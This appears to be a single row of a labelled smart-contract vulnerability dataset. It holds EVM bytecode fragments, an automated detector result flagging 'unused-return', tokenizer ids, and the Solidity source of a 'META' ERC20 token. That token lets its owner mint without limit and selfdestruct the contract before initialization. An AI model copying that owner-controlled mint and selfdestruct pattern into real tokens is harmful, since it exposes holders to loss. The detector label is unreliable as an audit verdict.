03121561207c57600080fd5b6120858361204d565b946020939093013593505050565b6000806000606084860312156120a857600080fd5b6120b18461204d565b92506120bf6020850161204d565b9150604084013590509250925092565b6000602082840312156120e157600080fd5b6111728261204d565b6020808252825182820181905260009190848201906040850190845b8181101561212257835183529284019291840191600101612106565b50909695505050505050565b6000806020838503121561214157600080fd5b823567ffffffffffffffff8082111561215957600080fd5b818501915085601f83011261216d57600080fd5b81358181111561217c57600080fd5b86602082850101111561218e57600080fd5b60209290920196919550909350505050565b600080604083850312156121b357600080fd5b823591506121c36020840161204d565b90509250929050565b600080604083850312156121df57600080fd5b6121e88361204d565b9150602083013580151581146121fd57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561223457600080fd5b61223d8561204d565b935061224b6020860161204d565b925060408501359150606085013567ffffffffffffffff8082111561226f57600080fd5b818701915087601f83011261228357600080fd5b81358181111561229557612295612208565b604051601f8201601f19908116603f011681019083821181831017156122bd576122bd612208565b816040528281528a60208487010111156122d657600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561230d57600080fd5b6123168361204d565b91506121c36020840161204d565b600181811c9082168061233857607f821691505b6020821081141561235957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561239f5761239f612375565b5060010190565b600082198211156123b9576123b9612375565b500190565b600083516123d0818460208801611fc9565b8351908301906123e4818360208801611fc9565b01949350505050565b6000828210156123ff576123ff612375565b500390565b600081600019048311821515161561241e5761241e612375565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261244857612448612423565b500490565b60008261245c5761245c612423565b500690565b60006001600160a01b038087168352808616602084015250836040830152608060608301526124936080830184611ff5565b9695505050505050565b6000602082840312156124af57600080fd5b815161117281611f96565b634e487b7160e01b600052603160045260246000fdfea26469706673582212209e1b5d94030ae715fc630379130c4f05484d14ca7abb97659e21c71af4c7c1c664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 4215, 2683, 2063, 23499, 18939, 26976, 2475, 6679, 16932, 2278, 2546, 2581, 22907, 27717, 2683, 18939, 2620, 2094, 2620, 21619, 2497, 2692, 2683, 2683, 2683, 2575, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,761
0x974c3eA02D7c27E89d7Aafc8Efe03B995dF075be
//SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; uint256 constant targetSupply = 250 * 1e6 * 1e18; // 250 million tokens contract META is ERC20, ERC20Burnable, Ownable { bool private initialized = false; constructor() ERC20("METAVERSE", "META") { mint(msg.sender, targetSupply); } function mint(address _beneficiary, uint256 _amount) public onlyOwner notInitialized { _mint(_beneficiary, _amount); } function removeContract() public onlyOwner notInitialized { selfdestruct(payable(owner())); } function initialize() public onlyOwner notInitialized { initialized = true; } modifier notInitialized { require(!initialized); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d7146102e4578063a9059cbb14610314578063dd62ed3e14610344578063f2fde38b14610374578063fe389e091461039057610121565b8063715018a61461027857806379cc6790146102825780638129fc1c1461029e5780638da5cb5b146102a857806395d89b41146102c657610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e057806340c10f191461021057806342966c681461022c57806370a082311461024857610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e61039a565b60405161013b91906118c1565b60405180910390f35b61015e600480360381019061015991906115ea565b61042c565b60405161016b91906118a6565b60405180910390f35b61017c61044a565b6040516101899190611a83565b60405180910390f35b6101ac60048036038101906101a7919061159b565b610454565b6040516101b991906118a6565b60405180910390f35b6101ca61054c565b6040516101d79190611a9e565b60405180910390f35b6101fa60048036038101906101f591906115ea565b610555565b60405161020791906118a6565b60405180910390f35b61022a600480360381019061022591906115ea565b610601565b005b61024660048036038101906102419190611626565b6106a5565b005b610262600480360381019061025d9190611536565b6106b9565b60405161026f9190611a83565b60405180910390f35b610280610701565b005b61029c600480360381019061029791906115ea565b610789565b005b6102a6610804565b005b6102b06108b7565b6040516102bd919061188b565b60405180910390f35b6102ce6108e1565b6040516102db91906118c1565b60405180910390f35b6102fe60048036038101906102f991906115ea565b610973565b60405161030b91906118a6565b60405180910390f35b61032e600480360381019061032991906115ea565b610a5e565b60405161033b91906118a6565b60405180910390f35b61035e6004803603810190610359919061155f565b610a7c565b60405161036b9190611a83565b60405180910390f35b61038e60048036038101906103899190611536565b610b03565b005b610398610bfb565b005b6060600380546103a990611be7565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611be7565b80156104225780601f106103f757610100808354040283529160200191610422565b820191906000526020600020905b81548152906001019060200180831161040557829003601f168201915b5050505050905090565b6000610440610439610cb1565b8484610cb9565b6001905092915050565b6000600254905090565b6000610461848484610e84565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ac610cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052390611983565b60405180910390fd5b61054085610538610cb1565b858403610cb9565b60019150509392505050565b60006012905090565b60006105f7610562610cb1565b848460016000610570610cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f29190611ad5565b610cb9565b6001905092915050565b610609610cb1565b73ffffffffffffffffffffffffffffffffffffffff166106276108b7565b73ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610674906119a3565b60405180910390fd5b600560149054906101000a900460ff161561069757600080fd5b6106a18282611105565b5050565b6106b66106b0610cb1565b82611265565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610709610cb1565b73ffffffffffffffffffffffffffffffffffffffff166107276108b7565b73ffffffffffffffffffffffffffffffffffffffff161461077d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610774906119a3565b60405180910390fd5b610787600061143c565b565b600061079c83610797610cb1565b610a7c565b9050818110156107e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d8906119c3565b60405180910390fd5b6107f5836107ed610cb1565b848403610cb9565b6107ff8383611265565b505050565b61080c610cb1565b73ffffffffffffffffffffffffffffffffffffffff1661082a6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610880576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610877906119a3565b60405180910390fd5b600560149054906101000a900460ff161561089a57600080fd5b6001600560146101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108f090611be7565b80601f016020809104026020016040519081016040528092919081815260200182805461091c90611be7565b80156109695780601f1061093e57610100808354040283529160200191610969565b820191906000526020600020905b81548152906001019060200180831161094c57829003601f168201915b5050505050905090565b60008060016000610982610cb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690611a43565b60405180910390fd5b610a53610a4a610cb1565b85858403610cb9565b600191505092915050565b6000610a72610a6b610cb1565b8484610e84565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b0b610cb1565b73ffffffffffffffffffffffffffffffffffffffff16610b296108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b76906119a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690611923565b60405180910390fd5b610bf88161143c565b50565b610c03610cb1565b73ffffffffffffffffffffffffffffffffffffffff16610c216108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6e906119a3565b60405180910390fd5b600560149054906101000a900460ff1615610c9157600080fd5b610c996108b7565b73ffffffffffffffffffffffffffffffffffffffff16ff5b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2090611a23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9090611943565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e779190611a83565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eeb90611a03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b906118e3565b60405180910390fd5b610f6f838383611502565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90611963565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110889190611ad5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110ec9190611a83565b60405180910390a36110ff848484611507565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90611a63565b60405180910390fd5b61118160008383611502565b80600260008282546111939190611ad5565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111e89190611ad5565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161124d9190611a83565b60405180910390a361126160008383611507565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc906119e3565b60405180910390fd5b6112e182600083611502565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90611903565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546113be9190611b2b565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114239190611a83565b60405180910390a361143783600084611507565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061151b8161203f565b92915050565b60008135905061153081612056565b92915050565b60006020828403121561154857600080fd5b60006115568482850161150c565b91505092915050565b6000806040838503121561157257600080fd5b60006115808582860161150c565b92505060206115918582860161150c565b9150509250929050565b6000806000606084860312156115b057600080fd5b60006115be8682870161150c565b93505060206115cf8682870161150c565b92505060406115e086828701611521565b9150509250925092565b600080604083850312156115fd57600080fd5b600061160b8582860161150c565b925050602061161c85828601611521565b9150509250929050565b60006020828403121561163857600080fd5b600061164684828501611521565b91505092915050565b61165881611b5f565b82525050565b61166781611b71565b82525050565b600061167882611ab9565b6116828185611ac4565b9350611692818560208601611bb4565b61169b81611c77565b840191505092915050565b60006116b3602383611ac4565b91506116be82611c88565b604082019050919050565b60006116d6602283611ac4565b91506116e182611cd7565b604082019050919050565b60006116f9602683611ac4565b915061170482611d26565b604082019050919050565b600061171c602283611ac4565b915061172782611d75565b604082019050919050565b600061173f602683611ac4565b915061174a82611dc4565b604082019050919050565b6000611762602883611ac4565b915061176d82611e13565b604082019050919050565b6000611785602083611ac4565b915061179082611e62565b602082019050919050565b60006117a8602483611ac4565b91506117b382611e8b565b604082019050919050565b60006117cb602183611ac4565b91506117d682611eda565b604082019050919050565b60006117ee602583611ac4565b91506117f982611f29565b604082019050919050565b6000611811602483611ac4565b915061181c82611f78565b604082019050919050565b6000611834602583611ac4565b915061183f82611fc7565b604082019050919050565b6000611857601f83611ac4565b915061186282612016565b602082019050919050565b61187681611b9d565b82525050565b61188581611ba7565b82525050565b60006020820190506118a0600083018461164f565b92915050565b60006020820190506118bb600083018461165e565b92915050565b600060208201905081810360008301526118db818461166d565b905092915050565b600060208201905081810360008301526118fc816116a6565b9050919050565b6000602082019050818103600083015261191c816116c9565b9050919050565b6000602082019050818103600083015261193c816116ec565b9050919050565b6000602082019050818103600083015261195c8161170f565b9050919050565b6000602082019050818103600083015261197c81611732565b9050919050565b6000602082019050818103600083015261199c81611755565b9050919050565b600060208201905081810360008301526119bc81611778565b9050919050565b600060208201905081810360008301526119dc8161179b565b9050919050565b600060208201905081810360008301526119fc816117be565b9050919050565b60006020820190508181036000830152611a1c816117e1565b9050919050565b60006020820190508181036000830152611a3c81611804565b9050919050565b60006020820190508181036000830152611a5c81611827565b9050919050565b60006020820190508181036000830152611a7c8161184a565b9050919050565b6000602082019050611a98600083018461186d565b92915050565b6000602082019050611ab3600083018461187c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ae082611b9d565b9150611aeb83611b9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b2057611b1f611c19565b5b828201905092915050565b6000611b3682611b9d565b9150611b4183611b9d565b925082821015611b5457611b53611c19565b5b828203905092915050565b6000611b6a82611b7d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611bd2578082015181840152602081019050611bb7565b83811115611be1576000848401525b50505050565b60006002820490506001821680611bff57607f821691505b60208210811415611c1357611c12611c48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b71000000000000000000000000000000000000000000000000000000006000526